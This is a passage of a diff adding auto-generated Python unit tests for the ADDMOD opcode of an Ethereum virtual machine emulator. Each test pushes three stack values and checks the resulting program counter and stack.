+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_141(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_142(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_143(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_144(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_145(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_146(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_147(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_148(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_149(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_150(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_151(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_152(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_153(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_154(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_155(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_156(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_157(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_158(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_159(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_160(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_161(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_162(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_163(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_164(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_165(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_166(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_167(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_168(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_169(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_170(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_171(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_172(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
